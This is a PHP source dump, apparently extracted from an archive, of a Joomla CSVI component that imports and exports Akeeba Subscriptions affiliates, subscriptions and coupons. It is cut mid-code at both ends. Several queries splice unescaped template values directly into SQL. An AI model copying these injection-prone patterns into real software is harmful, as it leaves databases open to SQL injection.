together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'money_owed': $query1 = $db->getQuery(true); $query1->select('akeebasubs_affiliate_id, SUM(affiliate_comission) AS money_owed'); $query1->from('#__akeebasubs_subscriptions'); $query1->where('state = '.$db->Quote('C')); $query1->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $query1->group('akeebasubs_affiliate_id'); $query2 = $db->getQuery(true); $query2->select('akeebasubs_affiliate_id, SUM(amount) AS money_paid'); $query2->from('#__akeebasubs_affpayments'); $query2->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $query2->group('akeebasubs_affiliate_id'); $query = $db->getQuery(true); $query->select('money_owed-money_paid AS balance'); $query->from('#__akeebasubs_affiliates'); $query->leftJoin('('.$query1.') AS o USING ('.$db->quoteName('akeebasubs_affiliate_id').')'); $query->leftJoin('('.$query2.') AS p USING ('.$db->quoteName('akeebasubs_affiliate_id').')'); $query->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'money_paid': $query = $db->getQuery(true); $query->select('SUM(amount) AS money_paid'); $query->from('lwraz_akeebasubs_affpayments'); $query->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'total_commission': $query = $db->getQuery(true); $query->select('SUM(affiliate_comission) AS total_commision'); $query->from('#__akeebasubs_subscriptions'); $query->where('state = '.$db->Quote('C')); $query->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $query->group('akeebasubs_affiliate_id'); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'created_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\#o,,0com_csvi/models/com_akeebasubs/export/index.htmlnuW+APKs>\""<com_csvi/models/com_akeebasubs/export/subscriptionexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'notes': case 'params': case 'state': $userfields[] = $db->quoteName('#__akeebasubs_users').'.'.$db->quoteName($field->field_name); break; case 'user_id': $userfields[] = $db->quoteName('#__akeebasubs_subscriptions').'.'.$db->quoteName('user_id'); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__akeebasubs_subscriptions'); $query->leftJoin('#__akeebasubs_users ON #__akeebasubs_users.user_id = #__akeebasubs_subscriptions.user_id'); $query->leftJoin('#__users ON #__users.id = #__akeebasubs_subscriptions.user_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__akeebasubs_subscriptions.enabled = '.$publish_state; } // Filter by order number start $ordernostart = $template->get('ordernostart', 'order', array(), 'int'); if ($ordernostart > 0) { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_subscription_id >= '.$ordernostart; } // Filter by order number end $ordernoend = $template->get('ordernoend', 'order', array(), 'int'); if ($ordernoend > 0) { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_subscription_id <= '.$ordernoend; } // Filter by list of order numbers $orderlist = $template->get('orderlist', 'order'); if ($orderlist) { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_subscription_id IN ('.$orderlist.')'; } // Filter by order date start $orderdatestart = $template->get('orderdatestart', 'order', false); if ($orderdatestart) { $orderdate = JFactory::getDate($orderdatestart); $selectors[] = $db->quoteName('#__akeebasubs_subscriptions').'.'.$db->quoteName('created_on').' >= '.$db->Quote($orderdate->toMySQL()); } // Filter by order date end $orderdateend = $template->get('orderdateend', 'order', false); if ($orderdateend) { $orderdate = JFactory::getDate($orderdateend); $selectors[] = $db->quoteName('#__akeebasubs_subscriptions').'.'.$db->quoteName('created_on').' <= '.$db->Quote($orderdate->toMySQL()); } // Filter by order status $orderstatus = $template->get('orderstatus', 'order', false); if ($orderstatus && $orderstatus[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.state IN (\''.implode("','", $orderstatus).'\')'; } // Filter by payment method $orderpayment = $template->get('orderpayment', 'order', false); if ($orderpayment && $orderpayment[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.processor IN (\''.implode("','", $orderpayment).'\')'; } // Filter by order price start $pricestart = $template->get('orderpricestart', 'order', false, 'float'); if ($pricestart) { $selectors[] = '#__akeebasubs_subscriptions.gross_amount >= '.$pricestart; } // Filter by order price end $priceend = $template->get('orderpriceend', 'order', false, 'float'); if ($priceend) { $selectors[] = '#__akeebasubs_subscriptions.gross_amount <= '.$priceend; } // Filter by order user id $orderuser = $template->get('orderuser', 'order', false); if ($orderuser && $orderuser[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.user_id IN (\''.implode("','", $orderuser).'\')'; } // Filter by order product $orderproduct = $template->get('orderproduct', 'order', false); if ($orderproduct && $orderproduct[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_level_id IN (\''.implode("','", $orderproduct).'\')'; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'net_amount': case 'tax_amount': case 'gross_amount': case 'prediscount_amount': case 'discount_amount': case 'affiliate_comission': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'publish_up': case 'publish_down': case 'created_on': case 'first_contact': case 'second_contact': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\)/com_csvi/models/com_akeebasubs/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,0com_csvi/models/com_akeebasubs/import/index.htmlnuW+APKs>\?_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_Akeebasubs(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'enabled': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'subscription_delete': switch ($value) { case 'y': case 'Y': $this->$name = 'Y'; break; default: $this->$name = 'N'; break; } break; case 'net_amount': case 'tax_amount': case 'gross_amount': case 'affiliate_commision': case 'prediscount_amount': case 'discount_amount': $this->$name = $this->cleanPrice($value); break; case 'publish_up': case 'publish_down': $this->$name = $this->convertDate($value); break; case 'state': $this->_subscriptions->state = $value; break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // See if we need to delete a subscription if ($this->subscription_delete == 'Y' && $this->akeebasubs_subscription_id) { $this->_deleteSubscription(); } else { // Check if we have a user ID if (!isset($this->user_id) && isset($this->username)) { $this->user_id = $this->helper->getUser($this->username); } // Check if we have a subscription title if (!isset($this->akeebasubs_level_id) && isset($this->subscription_title)) { $this->akeebasubs_level_id = $this->helper->getSubscription($this->subscription_title); } // Add a creating date if there is no product_id if (empty($this->akeebasubs_subscription_id)) { $this->_subscriptions->created_on = $this->date->toMySQL(); } // Bind the data $this->_subscriptions->bind($this); // Check the data $this->_subscriptions->check(); // Store the data if ($this->_subscriptions->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_SUBSCRIPTION')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_SUBSCRIPTION')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SUBSCRIPTION_NOT_ADDED', $this->_subscriptions->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_SUBSCRIPTION_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_subscriptions = $this->getTable('subscriptions'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_subscriptions->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete a subscription * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _deleteSubscription() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); if ($this->_subscriptions->delete($this->akeebasubs_subscription_id)) { $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_SUBSCRIPTION_DELETED', $this->akeebasubs_subscription_id)); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SUBSCRIPTION_NOT_DELETED', $this->akeebasubs_subscription_id)); } } ?>PKs>\qP-446com_csvi/models/com_akeebasubs/import/couponimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->csviuser = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_Akeebasubs(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'enabled': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'value': $this->$name = $this->cleanPrice($value); break; case 'publish_up': case 'publish_down': $this->$name = $this->convertDate($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we have a user ID if (!isset($this->user) && isset($this->username)) { $this->user = $this->helper->getUser($this->username); } // Check if we have a subscription title if (!isset($this->subscriptions) && isset($this->subscription_title)) { $this->subscriptions = $this->helper->getSubscription($this->subscription_title); } // Set some basic values if (!isset($this->modified_on)) { $this->_coupons->modified_on = $this->date->toMySQL(); $this->_coupons->modified_by = $this->csviuser->id; } // Add a creating date if there is no product_id if (empty($this->akeebasubs_coupon_id)) { $this->_coupons->created_on = $this->date->toMySQL(); $this->_coupons->created_by = $this->csviuser->id; } // Bind the data $this->_coupons->bind($this); // Check the data $this->_coupons->check(); // Store the data if ($this->_coupons->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_COUPON')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_COUPON')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COUPON_NOT_ADDED', $this->_coupons->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_COUPON_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_coupons = $this->getTable('coupons'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_coupons->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PKs>\•@@9com_csvi/models/com_akeebasubs/import/affiliateimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->csviuser = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_Akeebasubs(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'enabled': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'commision': case 'amount': $this->$name = $this->cleanPrice($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we have a user ID if (!isset($this->user_id) && isset($this->username)) { $this->user_id = $this->helper->getUser($this->username); } if (!empty($this->user_id)) { // Bind the data $this->_affiliates->bind($this); // Check if the affiliate needs to be deleted if ($this->affiliate_delete == 'Y') { $this->_deleteAffiliate(); } else { // Check the data $this->_affiliates->check(); // Store the data if ($this->_affiliates->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_AFFILIATE')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_AFFILIATE')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATE_NOT_ADDED', $this->_affiliates->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_AFFILIATE_QUERY'), true); // See if we have any affiliate payments to add if (isset($this->amount)) { if (!isset($this->created_on)) $this->created_on = $this->date->toMySQL(); // Bind the data $this->akeebasubs_affiliate_id = $this->_affiliates->akeebasubs_affiliate_id; $this->_affpayments->bind($this); // Check the data if ($this->_affpayments->check()) { // Store the data if ($this->_affpayments->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_AFFILIATEPAY')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_AFFILIATEPAY')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATEPAY_NOT_ADDED', $this->_affpayments->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_AFFILIATEPAY_QUERY'), true); } } } } // Clean the tables $this->cleanTables(); } /** * Load the affiliate related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_affiliates = $this->getTable('affiliates'); $this->_affpayments = $this->getTable('affpayments'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_affiliates->reset(); $this->_affpayments->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete an affiliate * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _deleteAffiliate() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check the data if ($this->_affiliates->check()) { if ($this->_affiliates->delete()) { $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_AFFILIATES_DELETED', $this->_affiliates->akeebasubs_affiliate_id)); // Delete all payments if ($this->_affpayments->delete($this->user_id)) { $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_AFFILIATESPAY_DELETED', $this->user_id)); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATESPAY_NOT_DELETED', $this->user_id)); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATES_NOT_DELETED', $this->_affiliates->akeebasubs_affiliate_id)); } } } ?>PKs>\)/com_csvi/models/com_akeebasubs/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,)com_csvi/models/com_akeebasubs/index.htmlnuW+APKs>\)(com_csvi/models/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PKs>\RDk\\com_csvi/models/settings.phpnuW+AloadForm($this->context, 'settings', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @copyright * @author RolandD * @todo * @see getForm() * @access protected * @param * @return mixed The data for the form * @since 1.0 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_csvi.settings.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to get a single record. * * @copyright * @author RolandD * @todo Load the attributes * @see * @access public * @param integer The id of the primary key * @return mixed Object on success | false on failure * @since 1.0 */ public function getItem($pk = null) { if (!$this->_params) { $row = $this->getTable('settings'); $row->load(1); $registry = new JRegistry(); $registry->loadString($row->params); $this->_params = $registry->toArray(); } return $this->_params; } /** * Store the settings * * @copyright * @author RolandD * @todo * @see CsviModelAvailablefields::prepareAvailableFields * @access public * @param * @return bool true on success | false on failure * @since 4.0 */ public function save($data) { $row = $this->getTable('settings'); $registry = new JRegistry(); $registry->loadArray($data); // Set the values $row->id = 1; $row->params = $registry->toString(); if ($row->store()) { $this->_params = $registry; // Add the custom tables to the template tables table $db = JFactory::getDbo(); $tables = $registry->get('tables.tablelist'); $q = "INSERT IGNORE INTO ".$db->quoteName('#__csvi_template_tables')." (".$db->quoteName('template_type_name').", ".$db->quoteName('template_table').", ".$db->quoteName('component').") VALUES "; $fields = array(); foreach ($tables as $table) { $fields[] = "(".$db->quote('customimport').", ".$db->quote($table).", ".$db->quote('com_csvi').")"; $fields[] = "(".$db->quote('customexport').", ".$db->quote($table).", ".$db->quote('com_csvi').")"; } $q .= implode(',', $fields); $db->setQuery($q); $db->query(); return true; } else { $this->setError($row->getError()); return false; } } /** * Get a list of custom tables for import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of tables * @since 3.0 */ public function getTableList() { $db = JFactory::getDbo(); $tables = $db->getTableList(); $prefix = $db->getPrefix(); // Remove the table prefix foreach ($tables as $tkey => $table) { if (stristr($table, $prefix)) $tables[$tkey] = str_replace($prefix, '', $table); else unset($tables[$tkey]); } return $tables; } /** * Reset the settings * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true if settings reset | false if settings not reset * @since 3.1.1 */ public function getResetSettings() { $row = $this->getTable('settings'); $row->id = 1; $row->params = ''; return $row->store(); } } ?>PKs>\]$ $ com_csvi/models/export.phpnuW+Ainput; $db = JFactory::getDbo(); $exportfile_model = $this->_getModel('exportfile'); // Load the backend language file $lang = JFactory::getLanguage(); $lang->load('com_csvi', JPATH_ADMINISTRATOR); // Load the template $template = new CsviTemplate(); $template->load($jinput->get('template_id', 0, 'int')); $template->set('exportto', 'general', $jinput->get('exportto', 'tofront', 'cmd')); $jinput->set('template', $template); // Set the export type $jinput->set('export_type', $template->get('operation', 'options')); // Initiate the log $csvilog = new CsviLog(); // Create a new Import ID in the logger $csvilog->setId(); // Set to collect debug info $csvilog->setDebug($template->get('collect_debug_info', 'general')); // Set some log info $csvilog->SetAction('export'); $csvilog->SetActionType($template->get('export_type'), $template->getName()); // Add the logger to the registry $jinput->set('csvilog', $csvilog); // Load the fields to export $exportfields = $exportfile_model->getExportFields(); if (!empty($exportfields)) { $jinput->set('export.fields', $exportfields); // Allow big SQL selects $db->setQuery("SET OPTION SQL_BIG_SELECTS=1"); $db->query(); // Get the filename for the export file $jinput->set('export.filename', $exportfile_model->exportFilename()); // See if we need to get an XML/HTML class $export_format = $template->get('export_file', 'general'); if ($export_format == 'xml' || $export_format == 'html') { $exportclass = $exportfile_model->getExportClass(); if ($exportclass) $jinput->set('export.class', $exportclass); else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_CLASS')); $jinput->set('logcount', 0); return false; } } // Return all is good return true; } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_FIELDS')); $jinput->set('logcount', 0); return false; } } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getModel($model) { return $this->getInstance($model, 'CsviModel'); } }PKs>\UGMR00#com_csvi/models/availablefields.phpnuW+Ainput; $app = JFactory::getApplication('administrator'); // Load the filter state $this->setState('filter.action', $app->getUserStateFromRequest($this->_context.'.filter.action', 'jform_options_action', 'import', 'word')); $this->setState('filter.component', $app->getUserStateFromRequest($this->_context.'.filter.component', 'jform_options_component', 'com_csvi', 'word')); $this->setState('filter.operation', $app->getUserStateFromRequest($this->_context.'.filter.operation', 'jform_options_operation', 'customimport', 'word')); $this->setState('filter.avfields', $app->getUserStateFromRequest($this->_context.'.filter.avfields', 'filter_avfields', false, 'word')); $this->setState('filter.idfields', $jinput->get('filter_idfields')); // List state information. // Controls the query ORDER BY parent::populateState('csvi_name', 'asc'); } /** * Build an SQL query to load the list data. * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return object the query to execute * @since 4.0 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('csvi_name, component_name, component_table, isprimary'); $query->from('#__csvi_available_fields AS a'); // Join the template types $query->leftJoin('#__csvi_template_tables AS t ON t.template_table = a.component_table'); // Add all the filters $filters = array(); if ($this->getState('filter.action') != '') $filters[] = "SUBSTRING(t.template_type_name, -6) = ".$db->Quote($this->getState('filter.action')); if ($this->getState('filter.component') != '') { $filters[] = "a.component = ".$db->Quote($this->getState('filter.component')); $filters[] = "t.component = ".$db->Quote($this->getState('filter.component')); } if ($this->getState('filter.operation') != '') $filters[] = "t.template_type_name = ".$db->Quote($this->getState('filter.operation')); if ($this->getState('filter.avfields') != '') $filters[] = "(csvi_name LIKE ".$db->Quote('%'.$this->getState('filter.avfields').'%')." OR component_name LIKE ".$db->Quote('%'.$this->getState('filter.avfields').'%')." OR component_table LIKE ".$db->Quote('%'.$this->getState('filter.avfields').'%').")"; if (!$this->getState('filter.idfields')) $filters[] = "(csvi_name NOT LIKE '%\_id' AND csvi_name NOT LIKE 'id')"; // Add the filters to the query if (!empty($filters)) { $query->where('('.implode(' AND ', $filters).')'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Fill the available fields table * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getFillAvailableFields() { // Load the session data $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $session = JFactory::getSession(); $option = $jinput->get('option'); $continue = true; while ($continue) { $continue = $this->getAvailableFieldsSingle(); } $csvilog = unserialize($session->get($option.'.csvilog')); $jinput->set('csvilog', $csvilog); return; } /** * Prepare for available fields importing. * * 1. Set all tables to be indexed * 2. Empty the available fields table * 3. Import the extra availablefields sql file * 4. Find what tables need to be imported and store them in the session * * @copyright * @author RolandD * @todo * @see CsviModelSettings::save * @access public * @param * @return * @since 3.5 */ public function prepareAvailableFields() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; // Load the session data $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = $jinput->get('csvilog', null, null); // Clean the session $session->set($option.'.csvilog', serialize('0')); // Set all tables to be indexed $query = $db->getQuery(true); $query->update('#__csvi_template_tables'); $query->set('indexed = 0'); $db->setQuery($query); $db->query(); // Empty the available fields first $q = "TRUNCATE TABLE `#__csvi_available_fields`"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_AVAILABLE_FIELDS_TABLE_EMPTIED')); else $csvilog->AddStats('error', JText::_('COM_CSVI_AVAILABLE_FIELDS_TABLE_COULD_NOT_BE_EMPTIED')); // Add some extra fields jimport('joomla.filesystem.file'); if (JFile::exists(JPATH_COMPONENT_ADMINISTRATOR.'/install/availablefields_extra.sql')) { $q = JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/install/availablefields_extra.sql'); $db->setQuery($q); if ($db->query()) $csvilog->AddStats('added', JText::_('COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_BEEN_ADDED')); else $csvilog->AddStats('error', JText::_('COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED')); } else $csvilog->AddStats('error', JText::sprintf('AVAILABLEFIELDS_EXTRA_NOT_FOUND', JPATH_COMPONENT_ADMINISTRATOR.'/install/availablefields_extra.sql')); // Add the log the session $session->set($option.'.csvilog', serialize($csvilog)); } /** * Import the available fields in steps * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function getAvailableFieldsSingle() { $db = JFactory::getDbo(); $jinput = JFactory::getApplication()->input; $queries = array(); // Load the session data $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = unserialize($session->get($option.'.csvilog')); $lines = unserialize($session->get($option.'.linesprocessed')); if (empty($lines)) $lines = 0; $lines++; // Set the line number $csvilog->setLinenumber($lines); $errors = false; // Load a table to index $q 